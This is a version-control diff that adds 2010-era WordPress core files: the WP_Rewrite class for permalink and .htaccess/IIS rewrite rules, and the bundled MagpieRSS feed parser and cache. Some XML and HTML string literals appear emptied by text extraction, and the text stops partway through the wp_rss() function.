apply_filters('date_rewrite_rules', $date_rewrite); + + // Root + $root_rewrite = $this->generate_rewrite_rules($this->root . '/', EP_ROOT); + $root_rewrite = apply_filters('root_rewrite_rules', $root_rewrite); + + // Comments + $comments_rewrite = $this->generate_rewrite_rules($this->root . $this->comments_base, EP_COMMENTS, true, true, true, false); + $comments_rewrite = apply_filters('comments_rewrite_rules', $comments_rewrite); + + // Search + $search_structure = $this->get_search_permastruct(); + $search_rewrite = $this->generate_rewrite_rules($search_structure, EP_SEARCH); + $search_rewrite = apply_filters('search_rewrite_rules', $search_rewrite); + + // Categories + $category_rewrite = $this->generate_rewrite_rules($this->get_category_permastruct(), EP_CATEGORIES); + $category_rewrite = apply_filters('category_rewrite_rules', $category_rewrite); + + // Tags + $tag_rewrite = $this->generate_rewrite_rules($this->get_tag_permastruct(), EP_TAGS); + $tag_rewrite = apply_filters('tag_rewrite_rules', $tag_rewrite); + + // Authors + $author_rewrite = $this->generate_rewrite_rules($this->get_author_permastruct(), EP_AUTHORS); + $author_rewrite = apply_filters('author_rewrite_rules', $author_rewrite); + + // Pages + $page_rewrite = $this->page_rewrite_rules(); + $page_rewrite = apply_filters('page_rewrite_rules', $page_rewrite); + + // Extra permastructs + foreach ( $this->extra_permastructs as $permastruct ) + $this->extra_rules_top = array_merge($this->extra_rules_top, $this->generate_rewrite_rules($permastruct, EP_NONE)); + + // Put them together. + if ( $this->use_verbose_page_rules ) + $this->rules = array_merge($this->extra_rules_top, $robots_rewrite, $default_feeds, $page_rewrite, $root_rewrite, $comments_rewrite, $search_rewrite, $category_rewrite, $tag_rewrite, $author_rewrite, $date_rewrite, $post_rewrite, $this->extra_rules); + else + $this->rules = array_merge($this->extra_rules_top, $robots_rewrite, $default_feeds, $root_rewrite, $comments_rewrite, $search_rewrite, $category_rewrite, $tag_rewrite, $author_rewrite, $date_rewrite, $post_rewrite, $page_rewrite, $this->extra_rules); + + do_action_ref_array('generate_rewrite_rules', array(&$this)); + $this->rules = apply_filters('rewrite_rules_array', $this->rules); + + return $this->rules; + } + + /** + * Retrieve the rewrite rules. + * + * The difference between this method and {@link + * WP_Rewrite::rewrite_rules()} is that this method stores the rewrite rules + * in the 'rewrite_rules' option and retrieves it. This prevents having to + * process all of the permalinks to get the rewrite rules in the form of + * caching. + * + * @since 1.5.0 + * @access public + * + * @return array Rewrite rules. + */ + function wp_rewrite_rules() { + $this->rules = get_option('rewrite_rules'); + if ( empty($this->rules) ) { + $this->matches = 'matches'; + $this->rewrite_rules(); + update_option('rewrite_rules', $this->rules); + } + + return $this->rules; + } + + /** + * Retrieve mod_rewrite formatted rewrite rules to write to .htaccess. + * + * Does not actually write to the .htaccess file, but creates the rules for + * the process that will. + * + * Will add the non_wp_rules property rules to the .htaccess file before + * the WordPress rewrite rules one. + * + * @since 1.5.0 + * @access public + * + * @return string + */ + function mod_rewrite_rules() { + if ( ! $this->using_permalinks()) { + return ''; + } + + $site_root = parse_url(get_option('siteurl')); + if ( isset( $site_root['path'] ) ) { + $site_root = trailingslashit($site_root['path']); + } + + $home_root = parse_url(get_option('home')); + if ( isset( $home_root['path'] ) ) { + $home_root = trailingslashit($home_root['path']); + } else { + $home_root = '/'; + } + + $rules = "\n"; + $rules .= "RewriteEngine On\n"; + $rules .= "RewriteBase $home_root\n"; + + //add in the rules that don't redirect to WP's index.php (and thus shouldn't be handled by WP at all) + foreach ( (array) $this->non_wp_rules as $match => $query) { + // Apache 1.3 does not support the reluctant (non-greedy) modifier. + $match = str_replace('.+?', '.+', $match); + + // If the match is unanchored and greedy, prepend rewrite conditions + // to avoid infinite redirects and eclipsing of real files. + if ($match == '(.+)/?$' || $match == '([^/]+)/?$' ) { + //nada. + } + + $rules .= 'RewriteRule ^' . $match . ' ' . $home_root . $query . " [QSA,L]\n"; + } + + if ($this->use_verbose_rules) { + $this->matches = ''; + $rewrite = $this->rewrite_rules(); + $num_rules = count($rewrite); + $rules .= "RewriteCond %{REQUEST_FILENAME} -f [OR]\n" . + "RewriteCond %{REQUEST_FILENAME} -d\n" . + "RewriteRule ^.*$ - [S=$num_rules]\n"; + + foreach ( (array) $rewrite as $match => $query) { + // Apache 1.3 does not support the reluctant (non-greedy) modifier. + $match = str_replace('.+?', '.+', $match); + + // If the match is unanchored and greedy, prepend rewrite conditions + // to avoid infinite redirects and eclipsing of real files. + if ($match == '(.+)/?$' || $match == '([^/]+)/?$' ) { + //nada. + } + + if (strpos($query, $this->index) !== false) { + $rules .= 'RewriteRule ^' . $match . ' ' . $home_root . $query . " [QSA,L]\n"; + } else { + $rules .= 'RewriteRule ^' . $match . ' ' . $site_root . $query . " [QSA,L]\n"; + } + } + } else { + $rules .= "RewriteCond %{REQUEST_FILENAME} !-f\n" . + "RewriteCond %{REQUEST_FILENAME} !-d\n" . + "RewriteRule . {$home_root}{$this->index} [L]\n"; + } + + $rules .= "\n"; + + $rules = apply_filters('mod_rewrite_rules', $rules); + $rules = apply_filters('rewrite_rules', $rules); // Deprecated + + return $rules; + } + + /** + * Retrieve IIS7 URL Rewrite formatted rewrite rules to write to web.config file. + * + * Does not actually write to the web.config file, but creates the rules for + * the process that will. + * + * @since 2.8.0 + * @access public + * + * @return string + */ + function iis7_url_rewrite_rules($add_parent_tags = false, $indent = " ", $end_of_line = "\n") { + + if ( ! $this->using_permalinks()) { + return ''; + } + + $rules = ''; + $extra_indent = ''; + if ( $add_parent_tags ) { + $rules .= "".$end_of_line; + $rules .= $indent."".$end_of_line; + $rules .= $indent.$indent."".$end_of_line; + $rules .= $indent.$indent.$indent."".$end_of_line; + $extra_indent = $indent.$indent.$indent.$indent; + } + + $rules .= $extra_indent."".$end_of_line; + $rules .= $extra_indent.$indent."".$end_of_line; + $rules .= $extra_indent.$indent.$indent."".$end_of_line; + $rules .= $extra_indent.$indent.$indent.$indent."".$end_of_line; + $rules .= $extra_indent.$indent.$indent.$indent."".$end_of_line; + $rules .= $extra_indent.$indent.$indent."".$end_of_line; + $rules .= $extra_indent.$indent."".$end_of_line; + $rules .= $extra_indent.""; + + if ( $add_parent_tags ) { + $rules .= $end_of_line.$indent.$indent.$indent."".$end_of_line; + $rules .= $indent.$indent."".$end_of_line; + $rules .= $indent."".$end_of_line; + $rules .= ""; + } + + $rules = apply_filters('iis7_url_rewrite_rules', $rules); + + return $rules; + } + + /** + * Add a straight rewrite rule. + * + * Any value in the $after parameter that isn't 'bottom' will be placed at + * the top of the rules. + * + * @since 2.1.0 + * @access public + * + * @param string $regex Regular expression to match against request. + * @param string $redirect URL regex redirects to when regex matches request. + * @param string $after Optional, default is bottom. Location to place rule. + */ + function add_rule($regex, $redirect, $after = 'bottom') { + //get everything up to the first ? + $index = (strpos($redirect, '?') == false ? strlen($redirect) : strpos($redirect, '?')); + $front = substr($redirect, 0, $index); + if ($front != $this->index) { //it doesn't redirect to WP's index.php + $this->add_external_rule($regex, $redirect); + } else { + if ( 'bottom' == $after) + $this->extra_rules = array_merge($this->extra_rules, array($regex => $redirect)); + else + $this->extra_rules_top = array_merge($this->extra_rules_top, array($regex => $redirect)); + //$this->extra_rules[$regex] = $redirect; + } + } + + /** + * Add a rule that doesn't redirect to index.php. + * + * Can redirect to any place. + * + * @since 2.1.0 + * @access public + * + * @param string $regex Regular expression to match against request. + * @param string $redirect URL regex redirects to when regex matches request. + */ + function add_external_rule($regex, $redirect) { + $this->non_wp_rules[$regex] = $redirect; + } + + /** + * Add an endpoint, like /trackback/. + * + * To be inserted after certain URL types (specified in $places). + * + * @since 2.1.0 + * @access public + * + * @param string $name Name of endpoint. + * @param array $places URL types that endpoint can be used. + */ + function add_endpoint($name, $places) { + global $wp; + $this->endpoints[] = array ( $places, $name ); + $wp->add_query_var($name); + } + + /** + * Add permalink structure. + * + * These are added along with the extra rewrite rules that are merged to the + * top. + * + * @since unknown + * @access public + * + * @param string $name Name for permalink structure. + * @param string $struct Permalink structure. + * @param bool $with_front Prepend front base to permalink structure. + */ + function add_permastruct($name, $struct, $with_front = true) { + if ( $with_front ) + $struct = $this->front . $struct; + $this->extra_permastructs[$name] = $struct; + } + + /** + * Remove rewrite rules and then recreate rewrite rules. + * + * Calls {@link WP_Rewrite::wp_rewrite_rules()} after removing the + * 'rewrite_rules' option. If the function named 'save_mod_rewrite_rules' + * exists, it will be called. + * + * @since 2.0.1 + * @access public + * @param $hard bool Whether to update .htaccess (hard flush) or just update rewrite_rules option (soft flush). Default is true (hard). + */ + function flush_rules($hard = true) { + delete_option('rewrite_rules'); + $this->wp_rewrite_rules(); + if ( $hard && function_exists('save_mod_rewrite_rules') ) + save_mod_rewrite_rules(); + if ( $hard && function_exists('iis7_save_url_rewrite_rules') ) + iis7_save_url_rewrite_rules(); + } + + /** + * Sets up the object's properties. + * + * The 'use_verbose_page_rules' object property will be set to true if the + * permalink structure begins with one of the following: '%postname%', '%category%', + * '%tag%', or '%author%'. + * + * @since 1.5.0 + * @access public + */ + function init() { + $this->extra_rules = $this->non_wp_rules = $this->endpoints = array(); + $this->permalink_structure = get_option('permalink_structure'); + $this->front = substr($this->permalink_structure, 0, strpos($this->permalink_structure, '%')); + $this->root = ''; + if ($this->using_index_permalinks()) { + $this->root = $this->index . '/'; + } + $this->category_base = get_option( 'category_base' ); + $this->tag_base = get_option( 'tag_base' ); + unset($this->category_structure); + unset($this->author_structure); + unset($this->date_structure); + unset($this->page_structure); + unset($this->search_structure); + unset($this->feed_structure); + unset($this->comment_feed_structure); + $this->use_trailing_slashes = ( substr($this->permalink_structure, -1, 1) == '/' ) ? true : false; + + // Enable generic rules for pages if permalink structure doesn't begin with a wildcard. + if ( preg_match("/^[^%]*%(?:postname|category|tag|author)%/", $this->permalink_structure) ) + $this->use_verbose_page_rules = true; + else + $this->use_verbose_page_rules = false; + } + + /** + * Set the main permalink structure for the blog. + * + * Will update the 'permalink_structure' option, if there is a difference + * between the current permalink structure and the parameter value. Calls + * {@link WP_Rewrite::init()} after the option is updated. + * + * Fires the 'permalink_structure_changed' action once the init call has + * processed passing the old and new values + * + * @since 1.5.0 + * @access public + * + * @param string $permalink_structure Permalink structure. + */ + function set_permalink_structure($permalink_structure) { + if ($permalink_structure != $this->permalink_structure) { + update_option('permalink_structure', $permalink_structure); + $this->init(); + do_action('permalink_structure_changed', $this->permalink_structure, $permalink_structure); + } + } + + /** + * Set the category base for the category permalink. + * + * Will update the 'category_base' option, if there is a difference between + * the current category base and the parameter value. Calls + * {@link WP_Rewrite::init()} after the option is updated. + * + * @since 1.5.0 + * @access public + * + * @param string $category_base Category permalink structure base. + */ + function set_category_base($category_base) { + if ($category_base != $this->category_base) { + update_option('category_base', $category_base); + $this->init(); + } + } + + /** + * Set the tag base for the tag permalink. + * + * Will update the 'tag_base' option, if there is a difference between the + * current tag base and the parameter value. Calls + * {@link WP_Rewrite::init()} after the option is updated. + * + * @since 2.3.0 + * @access public + * + * @param string $tag_base Tag permalink structure base. + */ + function set_tag_base( $tag_base ) { + if ( $tag_base != $this->tag_base ) { + update_option( 'tag_base', $tag_base ); + $this->init(); + } + } + + /** + * PHP4 Constructor - Calls init(), which runs setup. + * + * @since 1.5.0 + * @access public + * + * @return WP_Rewrite + */ + function WP_Rewrite() { + $this->init(); + } +} + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/rss-functions.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/rss-functions.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,10 @@ + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/rss.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/rss.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,922 @@ + + * @version 0.51 + * @license GPL + * + * @package External + * @subpackage MagpieRSS + */ + +/* + * Hook to use another RSS object instead of MagpieRSS + */ +do_action('load_feed_engine'); + +/** RSS feed constant. */ +define('RSS', 'RSS'); +define('ATOM', 'Atom'); +define('MAGPIE_USER_AGENT', 'WordPress/' . $GLOBALS['wp_version']); + +class MagpieRSS { + var $parser; + var $current_item = array(); // item currently being parsed + var $items = array(); // collection of parsed items + var $channel = array(); // hash of channel fields + var $textinput = array(); + var $image = array(); + var $feed_type; + var $feed_version; + + // parser variables + var $stack = array(); // parser stack + var $inchannel = false; + var $initem = false; + var $incontent = false; // if in Atom field + var $intextinput = false; + var $inimage = false; + var $current_field = ''; + var $current_namespace = false; + + //var $ERROR = ""; + + var $_CONTENT_CONSTRUCTS = array('content', 'summary', 'info', 'title', 'tagline', 'copyright'); + + function MagpieRSS ($source) { + + # if PHP xml isn't compiled in, die + # + if ( !function_exists('xml_parser_create') ) + trigger_error( "Failed to load PHP's XML Extension. http://www.php.net/manual/en/ref.xml.php" ); + + $parser = @xml_parser_create(); + + if ( !is_resource($parser) ) + trigger_error( "Failed to create an instance of PHP's XML parser. http://www.php.net/manual/en/ref.xml.php"); + + + $this->parser = $parser; + + # pass in parser, and a reference to this object + # setup handlers + # + xml_set_object( $this->parser, $this ); + xml_set_element_handler($this->parser, + 'feed_start_element', 'feed_end_element' ); + + xml_set_character_data_handler( $this->parser, 'feed_cdata' ); + + $status = xml_parse( $this->parser, $source ); + + if (! $status ) { + $errorcode = xml_get_error_code( $this->parser ); + if ( $errorcode != XML_ERROR_NONE ) { + $xml_error = xml_error_string( $errorcode ); + $error_line = xml_get_current_line_number($this->parser); + $error_col = xml_get_current_column_number($this->parser); + $errormsg = "$xml_error at line $error_line, column $error_col"; + + $this->error( $errormsg ); + } + } + + xml_parser_free( $this->parser ); + + $this->normalize(); + } + + function feed_start_element($p, $element, &$attrs) { + $el = $element = strtolower($element); + $attrs = array_change_key_case($attrs, CASE_LOWER); + + // check for a namespace, and split if found + $ns = false; + if ( strpos( $element, ':' ) ) { + list($ns, $el) = split( ':', $element, 2); + } + if ( $ns and $ns != 'rdf' ) { + $this->current_namespace = $ns; + } + + # if feed type isn't set, then this is first element of feed + # identify feed from root element + # + if (!isset($this->feed_type) ) { + if ( $el == 'rdf' ) { + $this->feed_type = RSS; + $this->feed_version = '1.0'; + } + elseif ( $el == 'rss' ) { + $this->feed_type = RSS; + $this->feed_version = $attrs['version']; + } + elseif ( $el == 'feed' ) { + $this->feed_type = ATOM; + $this->feed_version = $attrs['version']; + $this->inchannel = true; + } + return; + } + + if ( $el == 'channel' ) + { + $this->inchannel = true; + } + elseif ($el == 'item' or $el == 'entry' ) + { + $this->initem = true; + if ( isset($attrs['rdf:about']) ) { + $this->current_item['about'] = $attrs['rdf:about']; + } + } + + // if we're in the default namespace of an RSS feed, + // record textinput or image fields + elseif ( + $this->feed_type == RSS and + $this->current_namespace == '' and + $el == 'textinput' ) + { + $this->intextinput = true; + } + + elseif ( + $this->feed_type == RSS and + $this->current_namespace == '' and + $el == 'image' ) + { + $this->inimage = true; + } + + # handle atom content constructs + elseif ( $this->feed_type == ATOM and in_array($el, $this->_CONTENT_CONSTRUCTS) ) + { + // avoid clashing w/ RSS mod_content + if ($el == 'content' ) { + $el = 'atom_content'; + } + + $this->incontent = $el; + + + } + + // if inside an Atom content construct (e.g. content or summary) field treat tags as text + elseif ($this->feed_type == ATOM and $this->incontent ) + { + // if tags are inlined, then flatten + $attrs_str = join(' ', + array_map(array('MagpieRSS', 'map_attrs'), + array_keys($attrs), + array_values($attrs) ) ); + + $this->append_content( "<$element $attrs_str>" ); + + array_unshift( $this->stack, $el ); + } + + // Atom support many links per containging element. + // Magpie treats link elements of type rel='alternate' + // as being equivalent to RSS's simple link element. + // + elseif ($this->feed_type == ATOM and $el == 'link' ) + { + if ( isset($attrs['rel']) and $attrs['rel'] == 'alternate' ) + { + $link_el = 'link'; + } + else { + $link_el = 'link_' . $attrs['rel']; + } + + $this->append($link_el, $attrs['href']); + } + // set stack[0] to current element + else { + array_unshift($this->stack, $el); + } + } + + + + function feed_cdata ($p, $text) { + + if ($this->feed_type == ATOM and $this->incontent) + { + $this->append_content( $text ); + } + else { + $current_el = join('_', array_reverse($this->stack)); + $this->append($current_el, $text); + } + } + + function feed_end_element ($p, $el) { + $el = strtolower($el); + + if ( $el == 'item' or $el == 'entry' ) + { + $this->items[] = $this->current_item; + $this->current_item = array(); + $this->initem = false; + } + elseif ($this->feed_type == RSS and $this->current_namespace == '' and $el == 'textinput' ) + { + $this->intextinput = false; + } + elseif ($this->feed_type == RSS and $this->current_namespace == '' and $el == 'image' ) + { + $this->inimage = false; + } + elseif ($this->feed_type == ATOM and in_array($el, $this->_CONTENT_CONSTRUCTS) ) + { + $this->incontent = false; + } + elseif ($el == 'channel' or $el == 'feed' ) + { + $this->inchannel = false; + } + elseif ($this->feed_type == ATOM and $this->incontent ) { + // balance tags properly + // note: i don't think this is actually neccessary + if ( $this->stack[0] == $el ) + { + $this->append_content(""); + } + else { + $this->append_content("<$el />"); + } + + array_shift( $this->stack ); + } + else { + array_shift( $this->stack ); + } + + $this->current_namespace = false; + } + + function concat (&$str1, $str2="") { + if (!isset($str1) ) { + $str1=""; + } + $str1 .= $str2; + } + + function append_content($text) { + if ( $this->initem ) { + $this->concat( $this->current_item[ $this->incontent ], $text ); + } + elseif ( $this->inchannel ) { + $this->concat( $this->channel[ $this->incontent ], $text ); + } + } + + // smart append - field and namespace aware + function append($el, $text) { + if (!$el) { + return; + } + if ( $this->current_namespace ) + { + if ( $this->initem ) { + $this->concat( + $this->current_item[ $this->current_namespace ][ $el ], $text); + } + elseif ($this->inchannel) { + $this->concat( + $this->channel[ $this->current_namespace][ $el ], $text ); + } + elseif ($this->intextinput) { + $this->concat( + $this->textinput[ $this->current_namespace][ $el ], $text ); + } + elseif ($this->inimage) { + $this->concat( + $this->image[ $this->current_namespace ][ $el ], $text ); + } + } + else { + if ( $this->initem ) { + $this->concat( + $this->current_item[ $el ], $text); + } + elseif ($this->intextinput) { + $this->concat( + $this->textinput[ $el ], $text ); + } + elseif ($this->inimage) { + $this->concat( + $this->image[ $el ], $text ); + } + elseif ($this->inchannel) { + $this->concat( + $this->channel[ $el ], $text ); + } + + } + } + + function normalize () { + // if atom populate rss fields + if ( $this->is_atom() ) { + $this->channel['descripton'] = $this->channel['tagline']; + for ( $i = 0; $i < count($this->items); $i++) { + $item = $this->items[$i]; + if ( isset($item['summary']) ) + $item['description'] = $item['summary']; + if ( isset($item['atom_content'])) + $item['content']['encoded'] = $item['atom_content']; + + $this->items[$i] = $item; + } + } + elseif ( $this->is_rss() ) { + $this->channel['tagline'] = $this->channel['description']; + for ( $i = 0; $i < count($this->items); $i++) { + $item = $this->items[$i]; + if ( isset($item['description'])) + $item['summary'] = $item['description']; + if ( isset($item['content']['encoded'] ) ) + $item['atom_content'] = $item['content']['encoded']; + + $this->items[$i] = $item; + } + } + } + + function is_rss () { + if ( $this->feed_type == RSS ) { + return $this->feed_version; + } + else { + return false; + } + } + + function is_atom() { + if ( $this->feed_type == ATOM ) { + return $this->feed_version; + } + else { + return false; + } + } + + function map_attrs($k, $v) { + return "$k=\"$v\""; + } + + function error( $errormsg, $lvl = E_USER_WARNING ) { + // append PHP's error message if track_errors enabled + if ( isset($php_errormsg) ) { + $errormsg .= " ($php_errormsg)"; + } + if ( MAGPIE_DEBUG ) { + trigger_error( $errormsg, $lvl); + } else { + error_log( $errormsg, 0); + } + } + +} + +if ( !function_exists('fetch_rss') ) : +/** + * Build Magpie object based on RSS from URL. + * + * @since unknown + * @package External + * @subpackage MagpieRSS + * + * @param string $url URL to retrieve feed + * @return bool|MagpieRSS false on failure or MagpieRSS object on success. + */ +function fetch_rss ($url) { + // initialize constants + init(); + + if ( !isset($url) ) { + // error("fetch_rss called without a url"); + return false; + } + + // if cache is disabled + if ( !MAGPIE_CACHE_ON ) { + // fetch file, and parse it + $resp = _fetch_remote_file( $url ); + if ( is_success( $resp->status ) ) { + return _response_to_rss( $resp ); + } + else { + // error("Failed to fetch $url and cache is off"); + return false; + } + } + // else cache is ON + else { + // Flow + // 1. check cache + // 2. if there is a hit, make sure its fresh + // 3. if cached obj fails freshness check, fetch remote + // 4. if remote fails, return stale object, or error + + $cache = new RSSCache( MAGPIE_CACHE_DIR, MAGPIE_CACHE_AGE ); + + if (MAGPIE_DEBUG and $cache->ERROR) { + debug($cache->ERROR, E_USER_WARNING); + } + + + $cache_status = 0; // response of check_cache + $request_headers = array(); // HTTP headers to send with fetch + $rss = 0; // parsed RSS object + $errormsg = 0; // errors, if any + + if (!$cache->ERROR) { + // return cache HIT, MISS, or STALE + $cache_status = $cache->check_cache( $url ); + } + + // if object cached, and cache is fresh, return cached obj + if ( $cache_status == 'HIT' ) { + $rss = $cache->get( $url ); + if ( isset($rss) and $rss ) { + $rss->from_cache = 1; + if ( MAGPIE_DEBUG > 1) { + debug("MagpieRSS: Cache HIT", E_USER_NOTICE); + } + return $rss; + } + } + + // else attempt a conditional get + + // setup headers + if ( $cache_status == 'STALE' ) { + $rss = $cache->get( $url ); + if ( isset($rss->etag) and $rss->last_modified ) { + $request_headers['If-None-Match'] = $rss->etag; + $request_headers['If-Last-Modified'] = $rss->last_modified; + } + } + + $resp = _fetch_remote_file( $url, $request_headers ); + + if (isset($resp) and $resp) { + if ($resp->status == '304' ) { + // we have the most current copy + if ( MAGPIE_DEBUG > 1) { + debug("Got 304 for $url"); + } + // reset cache on 304 (at minutillo insistent prodding) + $cache->set($url, $rss); + return $rss; + } + elseif ( is_success( $resp->status ) ) { + $rss = _response_to_rss( $resp ); + if ( $rss ) { + if (MAGPIE_DEBUG > 1) { + debug("Fetch successful"); + } + // add object to cache + $cache->set( $url, $rss ); + return $rss; + } + } + else { + $errormsg = "Failed to fetch $url. "; + if ( $resp->error ) { + # compensate for Snoopy's annoying habbit to tacking + # on '\n' + $http_error = substr($resp->error, 0, -2); + $errormsg .= "(HTTP Error: $http_error)"; + } + else { + $errormsg .= "(HTTP Response: " . $resp->response_code .')'; + } + } + } + else { + $errormsg = "Unable to retrieve RSS file for unknown reasons."; + } + + // else fetch failed + + // attempt to return cached object + if ($rss) { + if ( MAGPIE_DEBUG ) { + debug("Returning STALE object for $url"); + } + return $rss; + } + + // else we totally failed + // error( $errormsg ); + + return false; + + } // end if ( !MAGPIE_CACHE_ON ) { +} // end fetch_rss() +endif; + +/** + * Retrieve URL headers and content using WP HTTP Request API. + * + * @since unknown + * @package External + * @subpackage MagpieRSS + * + * @param string $url URL to retrieve + * @param array $headers Optional. Headers to send to the URL. + * @return Snoopy style response + */ +function _fetch_remote_file ($url, $headers = "" ) { + $resp = wp_remote_request($url, array('headers' => $headers, 'timeout' => MAGPIE_FETCH_TIME_OUT)); + if ( is_wp_error($resp) ) { + $error = array_shift($resp->errors); + + $resp = new stdClass; + $resp->status = 500; + $resp->response_code = 500; + $resp->error = $error[0] . "\n"; //\n = Snoopy compatibility + return $resp; + } + $response = new stdClass; + $response->status = $resp['response']['code']; + $response->response_code = $resp['response']['code']; + $response->headers = $resp['headers']; + $response->results = $resp['body']; + + return $response; +} + +/** + * Retrieve + * + * @since unknown + * @package External + * @subpackage MagpieRSS + * + * @param unknown_type $resp + * @return unknown + */ +function _response_to_rss ($resp) { + $rss = new MagpieRSS( $resp->results ); + + // if RSS parsed successfully + if ( $rss && (!isset($rss->ERROR) || !$rss->ERROR) ) { + + // find Etag, and Last-Modified + foreach( (array) $resp->headers as $h) { + // 2003-03-02 - Nicola Asuni (www.tecnick.com) - fixed bug "Undefined offset: 1" + if (strpos($h, ": ")) { + list($field, $val) = explode(": ", $h, 2); + } + else { + $field = $h; + $val = ""; + } + + if ( $field == 'ETag' ) { + $rss->etag = $val; + } + + if ( $field == 'Last-Modified' ) { + $rss->last_modified = $val; + } + } + + return $rss; + } // else construct error message + else { + $errormsg = "Failed to parse RSS file."; + + if ($rss) { + $errormsg .= " (" . $rss->ERROR . ")"; + } + // error($errormsg); + + return false; + } // end if ($rss and !$rss->error) +} + +/** + * Setup constants with default values, unless user overrides. + * + * @since unknown + * @package External + * @subpackage MagpieRSS + */ +function init () { + if ( defined('MAGPIE_INITALIZED') ) { + return; + } + else { + define('MAGPIE_INITALIZED', 1); + } + + if ( !defined('MAGPIE_CACHE_ON') ) { + define('MAGPIE_CACHE_ON', 1); + } + + if ( !defined('MAGPIE_CACHE_DIR') ) { + define('MAGPIE_CACHE_DIR', './cache'); + } + + if ( !defined('MAGPIE_CACHE_AGE') ) { + define('MAGPIE_CACHE_AGE', 60*60); // one hour + } + + if ( !defined('MAGPIE_CACHE_FRESH_ONLY') ) { + define('MAGPIE_CACHE_FRESH_ONLY', 0); + } + + if ( !defined('MAGPIE_DEBUG') ) { + define('MAGPIE_DEBUG', 0); + } + + if ( !defined('MAGPIE_USER_AGENT') ) { + $ua = 'WordPress/' . $GLOBALS['wp_version']; + + if ( MAGPIE_CACHE_ON ) { + $ua = $ua . ')'; + } + else { + $ua = $ua . '; No cache)'; + } + + define('MAGPIE_USER_AGENT', $ua); + } + + if ( !defined('MAGPIE_FETCH_TIME_OUT') ) { + define('MAGPIE_FETCH_TIME_OUT', 2); // 2 second timeout + } + + // use gzip encoding to fetch rss files if supported? + if ( !defined('MAGPIE_USE_GZIP') ) { + define('MAGPIE_USE_GZIP', true); + } +} + +function is_info ($sc) { + return $sc >= 100 && $sc < 200; +} + +function is_success ($sc) { + return $sc >= 200 && $sc < 300; +} + +function is_redirect ($sc) { + return $sc >= 300 && $sc < 400; +} + +function is_error ($sc) { + return $sc >= 400 && $sc < 600; +} + +function is_client_error ($sc) { + return $sc >= 400 && $sc < 500; +} + +function is_server_error ($sc) { + return $sc >= 500 && $sc < 600; +} + +class RSSCache { + var $BASE_CACHE; // where the cache files are stored + var $MAX_AGE = 43200; // when are files stale, default twelve hours + var $ERROR = ''; // accumulate error messages + + function RSSCache ($base='', $age='') { + $this->BASE_CACHE = WP_CONTENT_DIR . '/cache'; + if ( $base ) { + $this->BASE_CACHE = $base; + } + if ( $age ) { + $this->MAX_AGE = $age; + } + + } + +/*=======================================================================*\ + Function: set + Purpose: add an item to the cache, keyed on url + Input: url from wich the rss file was fetched + Output: true on sucess +\*=======================================================================*/ + function set ($url, $rss) { + global $wpdb; + $cache_option = 'rss_' . $this->file_name( $url ); + + set_transient($cache_option, $rss, $this->MAX_AGE); + + return $cache_option; + } + +/*=======================================================================*\ + Function: get + Purpose: fetch an item from the cache + Input: url from wich the rss file was fetched + Output: cached object on HIT, false on MISS +\*=======================================================================*/ + function get ($url) { + $this->ERROR = ""; + $cache_option = 'rss_' . $this->file_name( $url ); + + if ( ! $rss = get_transient( $cache_option ) ) { + $this->debug( + "Cache doesn't contain: $url (cache option: $cache_option)" + ); + return 0; + } + + return $rss; + } + +/*=======================================================================*\ + Function: check_cache + Purpose: check a url for membership in the cache + and whether the object is older then MAX_AGE (ie. STALE) + Input: url from wich the rss file was fetched + Output: cached object on HIT, false on MISS +\*=======================================================================*/ + function check_cache ( $url ) { + $this->ERROR = ""; + $cache_option = 'rss_' . $this->file_name( $url ); + + if ( get_transient($cache_option) ) { + // object exists and is current + return 'HIT'; + } else { + // object does not exist + return 'MISS'; + } + } + +/*=======================================================================*\ + Function: serialize +\*=======================================================================*/ + function serialize ( $rss ) { + return serialize( $rss ); + } + +/*=======================================================================*\ + Function: unserialize +\*=======================================================================*/ + function unserialize ( $data ) { + return unserialize( $data ); + } + +/*=======================================================================*\ + Function: file_name + Purpose: map url to location in cache + Input: url from wich the rss file was fetched + Output: a file name +\*=======================================================================*/ + function file_name ($url) { + return md5( $url ); + } + +/*=======================================================================*\ + Function: error + Purpose: register error +\*=======================================================================*/ + function error ($errormsg, $lvl=E_USER_WARNING) { + // append PHP's error message if track_errors enabled + if ( isset($php_errormsg) ) { + $errormsg .= " ($php_errormsg)"; + } + $this->ERROR = $errormsg; + if ( MAGPIE_DEBUG ) { + trigger_error( $errormsg, $lvl); + } + else { + error_log( $errormsg, 0); + } + } + function debug ($debugmsg, $lvl=E_USER_NOTICE) { + if ( MAGPIE_DEBUG ) { + $this->error("MagpieRSS [debug] $debugmsg", $lvl); + } + } +} + +if ( !function_exists('parse_w3cdtf') ) : +function parse_w3cdtf ( $date_str ) { + + # regex to match wc3dtf + $pat = "/(\d{4})-(\d{2})-(\d{2})T(\d{2}):(\d{2})(:(\d{2}))?(?:([-+])(\d{2}):?(\d{2})|(Z))?/"; + + if ( preg_match( $pat, $date_str, $match ) ) { + list( $year, $month, $day, $hours, $minutes, $seconds) = + array( $match[1], $match[2], $match[3], $match[4], $match[5], $match[7]); + + # calc epoch for current date assuming GMT + $epoch = gmmktime( $hours, $minutes, $seconds, $month, $day, $year); + + $offset = 0; + if ( $match[11] == 'Z' ) { + # zulu time, aka GMT + } + else { + list( $tz_mod, $tz_hour, $tz_min ) = + array( $match[8], $match[9], $match[10]); + + # zero out the variables + if ( ! $tz_hour ) { $tz_hour = 0; } + if ( ! $tz_min ) { $tz_min = 0; } + + $offset_secs = (($tz_hour*60)+$tz_min)*60; + + # is timezone ahead of GMT? then subtract offset + # + if ( $tz_mod == '+' ) { + $offset_secs = $offset_secs * -1; + } + + $offset = $offset_secs; + } + $epoch = $epoch + $offset; + return $epoch; + } + else { + return -1; + } +} +endif; + +if ( !function_exists('wp_rss') ) : +/** + * Display all RSS items in a HTML ordered list. + * + * @since unknown + * @package External + * @subpackage MagpieRSS + * + * @param string $url URL of feed to display. Will not auto sense feed URL. + * @param int $num_items Optional. Number of items to display, default is all. + */ +function wp_rss( $url, $num_items = -1 ) { + if ( $rss = fetch_rss( $url ) ) { + echo '
      '; + + if ( $num_items !== -1 ) { + $rss->items = array_slice( $rss->items, 0, $num_items ); + } + + foreach ( (array) $rss->items as $item ) { + printf( + '
    • %3$s
